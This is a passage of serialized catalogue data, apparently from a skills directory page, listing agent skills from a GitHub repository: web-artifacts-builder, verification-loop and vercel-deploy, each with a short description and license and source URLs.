logs.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":113,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":20},"01M7EFE8106X6C28FT8PA74427","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":20},"01M7EFCSNZM9G7ZHS6F127Q71X","verification-loop","A comprehensive verification system for Claude Code sessions.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fverification-loop\u002FSKILL.md",[],[],{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":89,"licenseFileUrl":128,"sourceHtmlUrl":129,"categories":130,"keywords":131,"publishedAt":20},"01M7EFCE7EZMKPRYDDNKBQ9EEH","vercel-deploy","Deploy applications and websites to Vercel. Use when the user requests deployment actions like \"deploy my app\", \"deploy and give me the link\", \"push this live\", or \"create a preview deployment\".","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FSKILL.md",[],[]]